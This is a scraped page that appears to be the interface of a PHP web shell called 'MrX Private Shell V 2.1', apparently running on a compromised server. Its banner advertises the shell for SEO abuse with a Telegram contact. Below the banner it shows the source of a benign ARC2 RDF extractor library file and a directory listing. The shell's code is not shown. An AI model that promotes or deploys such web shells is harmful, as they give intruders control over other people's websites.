����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
homepage: http://arc.semsol.org/
license: http://arc.semsol.org/license
class: ARC2 DC Extractor
author: Benjamin Nowack
version: 2010-11-16
*/
ARC2::inc('RDFExtractor');
class ARC2_DcExtractor extends ARC2_RDFExtractor {
function __construct($a, &$caller) {
parent::__construct($a, $caller);
}
function __init() {
parent::__init();
$this->a['ns']['dc'] = 'http://purl.org/dc/elements/1.1/';
}
/* */
function extractRDF() {
$t_vals = array();
$t = '';
foreach ($this->nodes as $n) {
foreach (array('title', 'link', 'meta') as $tag) {
if ($n['tag'] == $tag) {
$m = 'extract' . ucfirst($tag);
list ($t_vals, $t) = $this->$m($n, $t_vals, $t);
}
}
}
if ($t) {
$doc = $this->getFilledTemplate($t, $t_vals, $n['doc_base']);
$this->addTs(ARC2::getTriplesFromIndex($doc));
}
}
/* */
function extractTitle($n, $t_vals, $t) {
if ($t_vals['title'] = $this->getPlainContent($n)) {
$t .= '<' . $n['doc_url'] . '> dc:title ?title . ';
}
return array($t_vals, $t);
}
/* */
function extractLink($n, $t_vals, $t) {
if ($this->hasRel($n, 'alternate') || $this->hasRel($n, 'meta')) {
if ($href = $this->v('href uri', '', $n['a'])) {
$t .= '<' . $n['doc_url'] . '> rdfs:seeAlso <' . $href . '> . ';
if ($v = $this->v('type', '', $n['a'])) {
$t .= '<' .$href. '> dc:format "' . $v . '" . ';
}
if ($v = $this->v('title', '', $n['a'])) {
$t .= '<' .$href. '> dc:title "' . $v . '" . ';
}
}
}
return array($t_vals, $t);
}
function extractMeta($n, $t_vals, $t) {
if ($this->hasAttribute('http-equiv', $n, 'Content-Type') || $this->hasAttribute('http-equiv', $n, 'content-type')) {
if ($v = $this->v('content', '', $n['a'])) {
$t .= '<' . $n['doc_url'] . '> dc:format "' . $v . '" . ';
}
}
return array($t_vals, $t);
}
/* */
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ARC2_DcExtractor.php | File | 1.96 KB | 0604 |
|
| ARC2_ErdfExtractor.php | File | 8.36 KB | 0604 |
|
| ARC2_MicroformatsExtractor.php | File | 8.67 KB | 0604 |
|
| ARC2_OpenidExtractor.php | File | 1.5 KB | 0604 |
|
| ARC2_PoshRdfExtractor.php | File | 7.74 KB | 0604 |
|
| ARC2_RDFExtractor.php | File | 5.7 KB | 0604 |
|
| ARC2_RdfaExtractor.php | File | 13.08 KB | 0604 |
|
| ARC2_TwitterProfilePicExtractor.php | File | 1.02 KB | 0604 |
|